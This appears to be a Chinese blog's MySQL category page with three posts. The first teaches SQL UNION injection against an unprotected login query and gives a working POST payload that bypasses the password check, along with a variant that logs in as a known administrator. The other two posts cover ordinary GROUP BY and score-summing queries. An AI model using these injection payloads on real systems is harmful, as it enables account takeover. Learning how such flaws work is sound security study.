分类 MySQL 下的文章

巧妙地使用 SQL UNION 注入

我们一般验证用户登录时,密码是否输入正确,一般是会这么做

  1. 客户端 通过 post 提交用户名(username)和密码(pwd)
  2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 $username 变量是获取用户 post 提交的用户名):
    SELECT username,pwd FROM user_table WHERE username='$username'
  3. 然后查询得到结果,判断查询结果的密码是否与接收的密码一致
  4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入
注意末尾 # 别漏掉了,写上这个就会忽略后面所有的语句
SELECT username,pwd FROM user_table WHERE username=''
UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'#

此条语句的执行结果是:

+----------+----------------------------------+
| username | pwd                              |
+----------+----------------------------------+
|          | 45cf93bd4f762c6597b68e615b153bd0 |
+----------+----------------------------------+

没错,我们使用 UNION SELECT 查询,可以控制输出字段的值,但前提是你要知道查询了哪些字段

这样我们 POST 提交参数:

username='UNION SELECT '','123456'#&pwd=123456

就可以骗过验证


如果你知道某个账号(假设是 nowtime)具有超级管理员权限,那么让其执行以下语句就可以控制输出其密码

SELECT username,pwd FROM user WHERE username=''
UNION select username,'123456' as pwd
FROM user where username='nowtime'#

运行结果:

+----------+----------+
| username | pwd      |
+----------+----------+
| nowtime  | 123456   |
+----------+----------+

MySQL GROUP BY 不会对 NULL 进行分组统计解决办法(表述可能不正确,具体看内容...)

数据表结构

goods (商品信息)表结构

+------------+--------------+------+-----+-------------------+----------------+
| Field      | Type         | Null | Key | Default           | Extra          |
+------------+--------------+------+-----+-------------------+----------------+
| gdID       | int(11)      | NO   | PRI | NULL              | auto_increment |
| tID        | int(11)      | YES  | MUL | NULL              |                |
| gdCode     | varchar(50)  | YES  |     | NULL              |                |
| gdName     | varchar(100) | NO   |     | NULL              |                |
| gdPrice    | float        | YES  |     | 0                 |                |
| gdQuantity | int(11)      | YES  |     | 0                 |                |
| gdSaleQty  | int(11)      | YES  |     | 0                 |                |
| gdCity     | varchar(50)  | YES  |     | 长沙              |                |
| gdInfo     | longtext     | NO   |     | NULL              |                |
| gdAddTime  | timestamp    | YES  |     | CURRENT_TIMESTAMP |                |
| gdHot      | tinyint(11)  | YES  |     | 0                 |                |
| gdImage    | varchar(255) | YES  |     | NULL              |                |
+------------+--------------+------+-----+-------------------+----------------+

orderdetail (商品订单信息、评论)表结构

+------------+---------------+------+-----+---------+----------------+
| Field      | Type          | Null | Key | Default | Extra          |
+------------+---------------+------+-----+---------+----------------+
| odID       | int(11)       | NO   | PRI | NULL    | auto_increment |
| oID        | int(11)       | YES  |     | NULL    |                |
| gdID       | int(11)       | YES  |     | NULL    |                |
| odNum      | int(11)       | YES  |     | NULL    |                |
| dEvalution | varchar(8000) | YES  |     | NULL    |                |
| odTime     | datetime      | YES  |     | NULL    |                |
+------------+---------------+------+-----+---------+----------------+

需求

需要列出商品信息及评价数量

当时想到的解题思路是,通过查询 OrderDetail 表,通过外连接(RIGHT JOIN) goods 表,然后进行分组查询,然后就有了以下语句

SELECT
    Goods.gdID,
    Goods.gdName,
    Goods.gdPrice,
    Goods.gdSaleQty,
    Goods.gdImage,
    COUNT( OrderDetail.gdID ) AS noe 
FROM
    `OrderDetail`
    RIGHT JOIN `Goods` ON `Goods`.`gdID` = `OrderDetail`.`gdID` 
GROUP BY
    `OrderDetail`.`gdID` 
ORDER BY
    noe DESC;

运行结果:

发现,当商品没有评价的,不会列出来
+------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+
| gdID | gdName      | gdPrice | gdSaleQty | gdImage                                                                                                            | noe |
+------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+
|   10 | 华为P9_PLUS |    3980 |         7 | 【华为官方买就送Type C 转接头】Huawei/华为 P9 plus全网通手机                                                       |   5 |
|    3 | 牛肉干      |      94 |        61 | 牛肉干一般是用黄牛肉和其他调料一起腌制而成的肉干。牛肉干中的风干牛肉源于蒙古铁骑的战粮,携带方便,并且有丰富的营养 |   2 |
|    5 | 运动鞋      |     400 |       200 | 运动,健康等                                                                                                       |   1 |
|    6 | 咖啡壶      |      50 |        45 | 一种冲煮咖啡的器具。咖啡壶是欧洲最早的发明之一,约在1685年于法国问世,在路易十五时期在各地广为流传。               |   1 |
|    8 | A字裙       |     128 |       200 | 2016秋季新品韩版高腰显瘦圆环拉链a字半身裙双口袋包臀短裙子女                                                        |   1 |
|    1 | 迷彩帽      |      63 |        29 | 透气夏天棒球帽男女鸭舌帽网帽迷彩帽子太阳帽防晒韩版休闲遮阳帽                                                       |   0 |
+------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+

解决

再网上找到了一个类似的问题:https://blog.csdn.net/u011277123/article/details/79883855
这篇文章参考的是:https://stackoverflow.com/questions/4588935/group-by-do-not-group-null

他是这么写的

增加一个 UUID(),把 b.name 的 NULL 的值都转化为具有专一性的 uuid,这样每个 b.name 都会不同, GROUP 就不会对他们进行分组
我也没怎么理解他说的,但是按照他的方法做,可以实现我想要的结果

SQL 语句:

SELECT
    Goods.gdID,
    Goods.gdName,
    Goods.gdPrice,
    Goods.gdSaleQty,
    Goods.gdImage,
    COUNT( OrderDetail.gdID ) AS noe 
FROM
    `OrderDetail`
    RIGHT JOIN `Goods` ON `Goods`.`gdID` = `OrderDetail`.`gdID` 
GROUP BY
    IFNULL(
        `OrderDetail`.`gdID`,
    UUID());
ORDER BY
    noe DESC;

运行结果:

评价数为 0 的结果也输出了,这正是我想要的结果
+------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+
| gdID | gdName      | gdPrice | gdSaleQty | gdImage                                                                                                            | noe |
+------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+
|   10 | 华为P9_PLUS |    3980 |         7 | 【华为官方买就送Type C 转接头】Huawei/华为 P9 plus全网通手机                                                       |   5 |
|    3 | 牛肉干      |      94 |        61 | 牛肉干一般是用黄牛肉和其他调料一起腌制而成的肉干。牛肉干中的风干牛肉源于蒙古铁骑的战粮,携带方便,并且有丰富的营养 |   2 |
|    5 | 运动鞋      |     400 |       200 | 运动,健康等                                                                                                       |   1 |
|    6 | 咖啡壶      |      50 |        45 | 一种冲煮咖啡的器具。咖啡壶是欧洲最早的发明之一,约在1685年于法国问世,在路易十五时期在各地广为流传。               |   1 |
|    8 | A字裙       |     128 |       200 | 2016秋季新品韩版高腰显瘦圆环拉链a字半身裙双口袋包臀短裙子女                                                        |   1 |
|    1 | 迷彩帽      |      63 |        29 | 透气夏天棒球帽男女鸭舌帽网帽迷彩帽子太阳帽防晒韩版休闲遮阳帽                                                       |   0 |
+------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+

MySQL 计算每科成绩和并以降序排列

问题

查询各个学生总成绩,并按总分从高到底排序

也就是要将 ChineseMath...Biology 字段都加起来然后排列

有以下表

+----+--------+-----+------------------+---------+---------+------+---------+-----------+---------+
| ID | Name   | Age | Job              | Chinese | English | Math | Physics | Chemistry | Biology |
+----+--------+-----+------------------+---------+---------+------+---------+-----------+---------+
|  1 | 王建军 |  30 | Java讲师         |     100 |      98 |   99 |      96 |        97 |     100 |
|  2 | 常庆林 |  28 | Linux讲师        |     100 |     100 |   98 |      93 |        99 |      96 |
|  3 | 徐培成 |  35 | BigData讲师      |     100 |     100 |  100 |      98 |        96 |     100 |
|  4 | 李永强 |  30 | javaEE开发工程师 |     100 |      93 |   91 |      74 |        89 |     100 |
|  5 | 赵子昂 |  24 | python开发工程师 |      98 |      93 |   91 |      74 |        89 |     100 |
|  6 | 桂阳   |  25 | C++开发工程师    |     100 |      98 |   93 |      91 |        99 |      82 |
|  7 | 肖云龙 |  24 | Golang开发工程师 |      93 |      97 |   85 |     100 |        93 |      69 |
|  8 | 李洋   |  23 | C#开发工程师     |     100 |      98 |   99 |      96 |        97 |     100 |
|  9 | 卜孟龙 |  30 | BigData开发      |      98 |      93 |  100 |     100 |        73 |      92 |
| 10 | 罗大鹏 |  22 | Java开发工程师   |     100 |      84 |   91 |      87 |       100 |      93 |
| 11 | 尹正杰 |  18 | 高级运维工程师   |     100 |     100 |  100 |     100 |       100 |     100 |
+----+--------+-----+------------------+---------+---------+------+---------+-----------+---------+

解决思路

我当时就想着用

SELECT SUM(`Chinese`+`Math`+`English`+`Physics`+`Chemistry`+`Biology`) AS 'total' FROM `classmate` ORDER BY `total` DESC;

结果运行结果是:

这显然不是我们要的结果
mysql> SELECT SUM(`Chinese`+`Math`+`English`+`Physics`+`Chemistry`+`Biology`) AS 'total' FROM `classmate` ORDER BY `total` DESC;
+-------+
| total |
+-------+
| 6263  |
+-------+
1 row in set (0.02 sec)

然后我就 Google 搜啊搜,搜了很久很久(真的好久...)。终于找到了一个合适的结果,原文链接:https://segmentfault.com/q/1010000002894877

得知应该是这样的:

SELECT *,( Chinese + Math + English + Physics + Chemistry + Biology ) AS total 
FROM
    classmate 
ORDER BY
    `total` DESC

运行结果完美,是我想要的结果

mysql> SELECT *,( Chinese + Math + English + Physics + Chemistry + Biology ) AS total 
FROM
    classmate 
ORDER BY
    `total` DESC;
+----+--------+-----+------------------+---------+---------+------+---------+-----------+---------+-------+
| ID | Name   | Age | Job              | Chinese | English | Math | Physics | Chemistry | Biology | total |
+----+--------+-----+------------------+---------+---------+------+---------+-----------+---------+-------+
| 11 | 尹正杰 |  18 | 高级运维工程师   |     100 |     100 |  100 |     100 |       100 |     100 |   600 |
|  3 | 徐培成 |  35 | BigData讲师      |     100 |     100 |  100 |      98 |        96 |     100 |   594 |
|  8 | 李洋   |  23 | C#开发工程师     |     100 |      98 |   99 |      96 |        97 |     100 |   590 |
|  1 | 王建军 |  30 | Java讲师         |     100 |      98 |   99 |      96 |        97 |     100 |   590 |
|  2 | 常庆林 |  28 | Linux讲师        |     100 |     100 |   98 |      93 |        99 |      96 |   586 |
|  6 | 桂阳   |  25 | C++开发工程师    |     100 |      98 |   93 |      91 |        99 |      82 |   563 |
|  9 | 卜孟龙 |  30 | BigData开发      |      98 |      93 |  100 |     100 |        73 |      92 |   556 |
| 10 | 罗大鹏 |  22 | Java开发工程师   |     100 |      84 |   91 |      87 |       100 |      93 |   555 |
|  4 | 李永强 |  30 | javaEE开发工程师 |     100 |      93 |   91 |      74 |        89 |     100 |   547 |
|  5 | 赵子昂 |  24 | python开发工程师 |      98 |      93 |   91 |      74 |        89 |     100 |   545 |
|  7 | 肖云龙 |  24 | Golang开发工程师 |      93 |      97 |   85 |     100 |        93 |      69 |   537 |
+----+--------+-----+------------------+---------+---------+------+---------+-----------+---------+-------+
11 rows in set (0.05 sec)